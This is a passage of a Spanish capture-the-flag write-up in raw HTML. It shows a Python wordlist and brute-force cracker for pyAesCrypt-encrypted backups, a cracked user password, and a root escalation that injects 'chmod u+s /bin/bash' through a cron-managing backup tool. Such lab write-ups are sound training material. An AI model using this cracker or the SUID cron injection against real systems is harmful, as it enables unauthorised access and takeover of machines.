&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open&lt;span style="color:#f92672"&gt;(&lt;/span&gt;wordlist_path, &lt;span style="color:#e6db74"&gt;&amp;#34;r&amp;#34;&lt;/span&gt;, encoding&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;latin-1&amp;#34;&lt;/span&gt;, errors&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ignore&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# si quieres evitar contar líneas (doble pasada) para wordlists muy grandes,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# usa tqdm sin total. Aquí elegimos no contar si limit is None para ser más rápido.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; start_line:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; _ in range&lt;span style="color:#f92672"&gt;(&lt;/span&gt;start_line&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not f.readline&lt;span style="color:#f92672"&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; limit is not None:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Si hay límite, mostramos un tqdm con total=limit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tqdm&lt;span style="color:#f92672"&gt;(&lt;/span&gt;total&lt;span style="color:#f92672"&gt;=&lt;/span&gt;limit, desc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;probando wordlist&amp;#34;&lt;/span&gt;, unit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;pwd&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tried &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; tried &amp;lt; limit:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; line &lt;span style="color:#f92672"&gt;=&lt;/span&gt; f.readline&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not line:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tried &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pwd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; line.strip&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, pwd&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ¡Contraseña encontrada! -&amp;gt; {pwd}&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; pbar: pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.update&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; pbar: pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[-] No encontrada en este segmento.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Sin límite: iteramos hasta el final. tqdm sin total (más rápido, no doble lectura)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tqdm&lt;span style="color:#f92672"&gt;(&lt;/span&gt;desc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;probando wordlist&amp;#34;&lt;/span&gt;, unit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;pwd&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; line in f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pwd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; line.strip&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, pwd&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ¡Contraseña encontrada! -&amp;gt; {pwd}&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.update&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[-] No encontrada en esta wordlist.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def mode_brute&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, charset, min_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, max_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;3, prefix&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ADVERTENCIA: espacio de búsqueda crece exponencialmente.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Bruteforce: charset={charset} min={min_len} max={max_len} (esto puede ser muy lento)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; length in range&lt;span style="color:#f92672"&gt;(&lt;/span&gt;min_len, max_len + 1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; total &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len&lt;span style="color:#f92672"&gt;(&lt;/span&gt;charset&lt;span style="color:#f92672"&gt;)&lt;/span&gt; ** length
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;Probando longitudes = {length} (combinaciones: {total})&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# usamos itertools.product&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; tup in tqdm&lt;span style="color:#f92672"&gt;(&lt;/span&gt;itertools.product&lt;span style="color:#f92672"&gt;(&lt;/span&gt;charset, repeat&lt;span style="color:#f92672"&gt;=&lt;/span&gt;length&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, total&lt;span style="color:#f92672"&gt;=&lt;/span&gt;total&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pwd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; prefix + &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;.join&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tup&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, pwd&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ¡Contraseña encontrada! -&amp;gt; {pwd}&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[-] No encontrada en el rango solicitado.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def main&lt;span style="color:#f92672"&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap &lt;span style="color:#f92672"&gt;=&lt;/span&gt; argparse.ArgumentParser&lt;span style="color:#f92672"&gt;(&lt;/span&gt;description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Brute/wordlist attack para .aes (pyAesCrypt)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--file&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;-f&amp;#34;&lt;/span&gt;, required&lt;span style="color:#f92672"&gt;=&lt;/span&gt;True, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;archivo .aes (input)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--wordlist&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;-w&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ruta a wordlist (ej. rockyou.txt)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--start-line&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;saltarse X líneas de la wordlist (útil para reanudar)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--limit&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;None, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;limitar número de intentos desde la wordlist&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--brute&amp;#34;&lt;/span&gt;, action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;store_true&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;activar modo brute force (muy lento)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--charset&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;str, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;abcdefghijklmnopqrstuvwxyz0123456789&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;charset para brute&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--min&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;min longitud brute&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--max&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;3, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;max longitud brute&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--prefix&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;str, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;prefijo para brute (divide búsqueda)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; args &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ap.parse_args&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not os.path.exists&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.file&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Archivo no encontrado:&amp;#34;&lt;/span&gt;, args.file&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sys.exit&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# modo wordlist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; args.wordlist:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not os.path.exists&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.wordlist&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Wordlist no encontrada:&amp;#34;&lt;/span&gt;, args.wordlist&lt;span style="color:#f92672"&gt;)&lt;/span&gt;; sys.exit&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[*] Modo wordlist activo. Ten paciencia.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; found &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mode_wordlist&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.file, args.wordlist, start_line&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.start_line, limit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.limit&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; found:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# modo brute&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; args.brute:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; found &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mode_brute&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.file, args.charset, min_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.min, max_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.max, prefix&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.prefix&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; found:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[*] Finished. No password found with the given inputs.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; main&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-803b-9920-d838e37b3e24.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8012-804f-e871e8f509ac.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Consigo la contraseña y descomprimo el backup. Dentro encuentro una versión anterior de la base de datos que contiene el hash del usuario &lt;strong&gt;mark&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-802c-85ab-f19aa0f29f13.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Crackeo el hash de Mark:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hash:&lt;/strong&gt; (obtenido del backup)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Contraseña:&lt;/strong&gt; &lt;code&gt;supersmash&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-804d-a6e8-d4ebc3f5506c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Me conecto por SSH y obtenemos la user flag.&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;h3 id="abuso-de-cron-jobs"&gt;Abuso de Cron Jobs&lt;/h3&gt;
&lt;p&gt;Como usuario &lt;code&gt;mark&lt;/code&gt;, enumero el sistema&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8018-b5ae-c54fefaf1edb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;y encuentro una aplicación local (charcol) que permite gestionar backups encriptados.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-800d-924c-e039dec2b7be.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8027-a94d-cd7277336e97.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Permite gestionar tareas programadas (Cron Jobs).&lt;/p&gt;
&lt;p&gt;Esta utilidad parece tener permisos excesivos al ejecutarse en el contexto de root. Aprovecho la funcionalidad para crear un nuevo cron job malicioso.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80df-b922-d2be6cdfde2d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En lugar de un script legítimo, configuro una tarea que otorgue permisos SUID a &lt;code&gt;/bin/bash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando inyectado en el Cron:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chmod u+s /bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8041-bca5-ff6c36525253.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Espero a que el cron se ejecute (probablemente cada minuto). Verifico los permisos de bash:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80b8-8933-c72fa3967c4f.png" alt="Imagen del post"&gt;&lt;/p&gt;
